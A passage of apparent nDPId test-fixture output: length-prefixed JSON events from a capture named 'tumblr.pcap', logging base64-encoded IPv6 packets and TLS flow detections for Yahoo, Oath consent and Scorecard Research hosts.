S5+qPi84GsQba7fseH30cTgm8mwNRsQ9TaBhms9OyhqFK3vUJwbLxA3v+\/JhGGP+QDNcAnPMggWHb\/pTjvH0\/qPvNHCGfZH+JprSLrkFOu0ai98K4LgbzV3TyhuR5ZERCyhuxPZQRzeuJS6\/4\/ePGw0Lw1KoUbgWjyZguuaP6gLPRXKLu3S76Q5BFlQLwLsBv\/p74to7wr0z6BDaJBMQ1BLPmyQ\/2Jc8AT0OkTX\/KnWcmOl0ORhfMVQ7rwvKOljVhCRdtJF4ecd7Ojao4p7DcnETAt4U54rC7aotx3nstsBp9q9gk1Tk5zE7m41Ji2pfSLZ7htG2hqpwsz6tl+ifeZcr1v0gml5kFgl1ntWd6y5Mcefo7OTiTUpCGLlLZGs\/4CCl4IwWw5pfQ8tAb2wZI4iu4OL6lD6wXEeMyeeI7mxxrr13HXs+2xAHlDOwHKn0wMEgeXqkGp11z30tslGUtz8N29nDpEzYUVr3WI2v9BkG0I45Rr\/XWQybTyQMEPSPHgQVLWAQwfxANDO1kODLnQ1HN4RnPnfkb\/b+bq+proUgw7jRpB9wupJvVlENx9UCFOFEggvnFbBIYALnct71NprVKHspJNvu36kp1q0JyRCy1UTdNASPTTHypmsPhdijznwQgxw2v0BcBFDPh7AwhP3LdcaEUR4cJqhJmZslEUKKSWjUsocDj5jczmJ1lwPYMQYqFAf0vWWik6eXT6sY7nbxSRZv1zDuP+7fhrVpLakMuyyNWVEj8PtfbZuh+YzUTrY7PCAVXLqDWEFTyMbjHaBUElxHFYgKMaF0LApE+SbCOFkJgJQHNGVe+KBU9\/AgPx4+gGRBhBT3i+DNEAEeBRs9D9kbzA458uYiYdkIA+DTqBJBTj3n9ZhGWNIWFCCfi0qcpryfUCnizle3fy5Mmpwg1vWBJ755iw9bLwX12OvclXoUGnyvkIasXv7uc4cy6p2ahN4l4JZIwgsoQNtoTnAs\/egIcV+jZfzqODDzruaoBeF0SeUQ=="} +00455{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":318025,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCsuaACAGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5AwBu6fu+PfC4YN5gBAB9fC2AAABAQgKUVPz2sLdnlY="} +00455{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":318048,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCsuaACAGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5AwBu6fu+PfC4YgxgBAB8uwBAAABAQgKUVPz2sLdnlY="} +00455{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":318051,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCsuaACAGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5AwBu6fu+PfC4YzpgBAB6edSAAABAQgKUVPz2sLdnlY="} +00455{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":322435,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA8c5ACAGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5A4Bu+LGv5yG572bgBEB+\/EWAAABAQgKUVPz38LdnkM="} +00455{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":339147,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYGKAABNRVaI7oLKiX\/Ei0qAcsBIEmLB5kd7IUo3\/YpAbvkDobnvZvixr+cgBALMOfQAAABAQgKwt2ebFFT88g="} +00591{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":340527,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAIMGPSYGKAABNRVaI7oLKiX\/Ei0qAcsBIEmLB5kd7IUo3\/YpAbvkDobnvZvixr+cgBgLMEIPAAABAQgKwt2ebVFT88gWAwMAWAIAAFQDA88hrXTlmmERvh2MAh5luJHCohEWeruMXgeeCeLIqDOcIHBqihZlPQxi4\/Swmz8DIl9f5mkTuI3AenD0Ehe9UmbOEwIAAAwAKwACAwQAMwACABcUAwMAAQE="} +00873{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":397,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":7,"flow_first_seen":1605292105274,"flow_last_seen":1605292105340,"flow_tot_l4_data_len":856,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2606:2800:135:155a:23ba:b2a:25ff:122d","src_port":58382,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"consent.cmp.oath.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00438{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":340544,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gA6lJABQGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5A4Bu+LGv5wAAAAAUAQAABcOAAA="} +00455{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":345821,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYGKAABNRVaI7oLKiX\/Ei0qAcsBIEmLB5kd7IUo3\/YpAbvkDobnvf7ixr+dgBALMOdPAAABAQgKwt2eclFT898="} +00439{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":345830,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gA6lJABQGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5A4Bu+LGv50AAAAAUAQAABcNAAA="} +00456{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":347849,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYGKAABNRVaI7oLKiX\/Ei0qAcsBIEmLB5kd7IUo3\/YpAbvkDobnvf7ixr+dgBELMOdMAAABAQgKwt2edFFT898="} +00439{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":347857,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gA6lJABQGQCoBywEgSYsHmR3shSjf9ikmBigAATUVWiO6Cyol\/xIt5A4Bu+LGv50AAAAAUAQAABcNAAA="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1605292105418,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39152,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":418417,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDBurACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mG3sAAAAAoAL9IOHqAAACBAWgBAIIChNm5EYAAAAAAQMDBw=="} +00510{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":433,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1605292105433,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2001:4998:14:800::1001","src_port":47118,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":433892,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACgGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkF5MAAAAAoAL9IMKvAAACBAWgBAIICr4D0hAAAAAAAQMDBw=="} +00467{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":447883,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY8Go+Ou0O5ht8oBJXgIDEAAACBAV4AQMDAwQCCArC3Z7YE2bkRg=="} +00453{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":447904,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDBurACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mG3xqPjrugBAB+wS5AAABAQgKE2bkY8Ldntg="} +01291{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":448108,"pkt_caplen":706,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":706,"pkt_l4_len":652,"pkt":"qtsDr8lk5EKm5WPyht1gDBurAowGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mG3xqPjrugBgB+4JWAAABAQgKE2bkZMLdntgWAwECZwEAAmMDA01hkKus+MkqaNZ11u\/JhpX8opi+Paz\/2culjqS\/fRVYIMdAvSOkLp4IegED4alflZbkeoPKAFn+1vm3NO5kGg0FACAKChMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAfqamgAAAAAAHQAbAAAYc2Iuc2NvcmVjYXJkcmVzZWFyY2guY29tABcAAP8BAAEAAAoACgAI+voAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACn6+gABAAAdACAZgcv6djgDbSXoFxR2Bhsr1SLhgniKBtXtlIDDETXMCAAtAAIBAQArAAsKqqoDBAMDAwIDAQAbAAMCAAIKCgABAAApASsA9gDwAAAiIJslU1lFpjTpi3lmNam9hQpY2hMMKuXsZwFntxH9VeeCDjG5ZumnFfjZUDtOBPLSzw4R57\/QCBI18BwcPm48mrUGyW53Ub1R1QzZAjB7iAKV4vFIwFfFqvyyzCt+XQCHUSkW6UYjU9HW8UHVOSLv+gTEZIbkGDOYtPsq7YccVngTZL3n3IHqwmTgcbP5ueNH8XOZq7\/Y1OeX7Wx9xVtrBDjNMgQxbOzaBnVFB93EKDMM4PQzj6qYiuKetEAoBMozzmixqRKxA5zUbOA5h0RPxge6RCPaz+BuJE3Cm\/zM5MOERtu8U1IsclnN2s3hdk+igAAxMH67OIYeJEbtrgELqGnjRFz2Dy5CExYP6mmzTrMo8NEajMnamg6uhqcAqBJ0WIxFJA=="} +00818{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":436,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1605292105418,"flow_last_seen":1605292105448,"flow_tot_l4_data_len":764,"flow_min_l4_data_len":32,"flow_max_l4_data_len":652,"flow_avg_l4_data_len":191,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39152,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"sb.scorecardresearch.com","ja3":"44d502d471cfdb99c59bdfb0f220e5a8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00466{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":459292,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSABSZgAFAgAAAAAAAAAEAEqAcsBIEmLB5kd7IUo3\/YpAbu4DgNW0a1gJBeUoBJXgDGmAAACBAV4AQMDAwQCCArC3Z7jvgPSEA=="} +00453{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":459314,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkF5QDVtGugBAB+7WdAAABAQgKvgPSKsLdnuM="} +01149{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":459543,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCAiUGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkF5QDVtGugBgB+\/IDAAABAQgKvgPSKsLdnuMWAwECAAEAAfwDA0SwrBQ+d5serlsxTSylSCJ2cOl7xaFhVNFnNENmyXzLII1+rGz9ESjQv1hbMrYHKnzgyMTJu0Ir\/kwfyDkc\/1pDACCqqhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAGgAYAAAVY29va2lleC5uZ2QueWFob28uY29tABcAAP8BAAEAAAoACgAIiooAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmKigABAAAdACA9g892NhkW61BobOu+QMSd1m\/f0wlw8Wps+OIILfVOLAAtAAIBAQArAAsKiooDBAMDAwIDAQAbAAMCAALq6gABAAAVAMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1605292105433,"flow_last_seen":1605292105459,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2001:4998:14:800::1001","src_port":47118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Yahoo","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cookiex.ngd.yahoo.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":485825,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY8Go+Ou4O5h3ogBALPfjjAAABAQgKwt2e\/hNm5GQ="} +00454{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":492745,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSABSZgAFAgAAAAAAAAAEAEqAcsBIEmLB5kd7IUo3\/YpAbu4DgNW0a5gJBmZgBALMKpAAAABAQgKwt2fBr4D0io="} +00819{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":494854,"pkt_caplen":356,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":356,"pkt_l4_len":302,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAS4GPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY8Go+Ou4O5h3ogBgLPUAoAAABAQgKwt2fCBNm5GQWAwMAgAIAAHwDAw6IIth+R6VC4MCy4H4pC4R4NC+hmlI2w+T+VCPrieVAIMdAvSOkLp4IegED4alflZbkeoPKAFn+1vm3NO5kGg0FEwIAADQAKwACAwQAMwAkAB0AIHJkIFENvX9kSeVAQ6dQ32HTFcgVQiHD3CRMxNxQEmJ1ACkAAgAAFAMDAAEBFwMDADTDBTfsVEi22J5pAKqKmAXlTvVm436Rh8drCKTtC1v5wE\/gxHcai1SkGWW6uGtCAyWJqQowFwMDAEWRNLBCCNGaGZ4B5qnY9YCKWpmgS0EJqXTldfxvJtv2xQcCV4fkEky+QOkr3wF4L0ZnpaA2obKYHrtVVdHrPKyOLGuwE4c="} +00858{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":442,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1605292105418,"flow_last_seen":1605292105494,"flow_tot_l4_data_len":1098,"flow_min_l4_data_len":32,"flow_max_l4_data_len":652,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6006:749","src_port":39152,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"sb.scorecardresearch.com","ja3":"44d502d471cfdb99c59bdfb0f220e5a8","ja3s":"2253c82f03b621c5144709b393fde2c9","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00453{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":494867,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDBurACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mHehqPjv8gBAB+QDiAAABAQgKE2bkksLdnwg="} +00564{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":495563,"pkt_caplen":166,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":166,"pkt_l4_len":112,"pkt":"qtsDr8lk5EKm5WPyht1gDBurAHAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mHehqPjv8gBgB+cGqAAABAQgKE2bkk8LdnwgUAwMAAQEXAwMARXSu5HHoLN4J6sfTv5jSyh19PaWjGE58SRDgu4lQJ15nul9a9ZpY9a0dRf5BmVKNCB+qr4DA4KPR5sXwiPP3T+WIniKhgg=="} +01016{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":495661,"pkt_caplen":503,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":503,"pkt_l4_len":449,"pkt":"qtsDr8lk5EKm5WPyht1gDBurAcEGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABgBgdJmPABuw7mHjhqPjv8gBgB+dW4AAABAQgKE2bkk8LdnwgXAwMBnHNP3I0+tGOOYz9OcaSyIi8m7zKJimtabzgKdie0gq5Klg\/790ehUAvIDz0RNTUP1I62agSUzGvWtfccQD5xFeZQExrycGsGLODdEvh2cV0BctQadOdf5NqMRUock\/sNfZ4yuUn1lw4FjfztheYz0Ci8GD4eH70+nPp9ccKGmYcmu+Qon9vn4U7c13cy05gsZR5HmytWQGRP0n1f+wuOgObbcI2yQEC2Nj2+IOjjvLiTUfir+Sm9+asuYkSnNkttIPTzQtuX2pTY4O84M7GjKjhQU2nXHffXQNuERHejceg8tz0lpkMQuaNcLqFVdsgv2NFfVkM0eFW67X4whTa4CDgeWtuFQj0PnE1ukLDAiVh2P93N1jNZqeTEXTyrNqg4\/WGtdcudeJ8pkmk2AdAdl8+vofmlynmyH2ABlbJngI3fMpFXXsU7UNkV7VoA2SENEuCb6jXCkyJqUJVoCZRPsH+ryjo2FqrSE1BzjkUr3GCokVTvWz4YuHp9OPFlzTAUR50L+JzcL8IZCfvnyfcL+3C4Gb\/WwzRPB5vQL+A="} +00458{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":525850,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY8Go+O\/wO5h44gBALR\/ckAAABAQgKwt2fJhNm5JM="} +00459{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":527684,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGAGB0kqAcsBIEmLB5kd7IUo3\/YpAbuY8Go+O\/wO5h\/ZgBALe\/VOAAABAQgKwt2fJxNm5JM="} 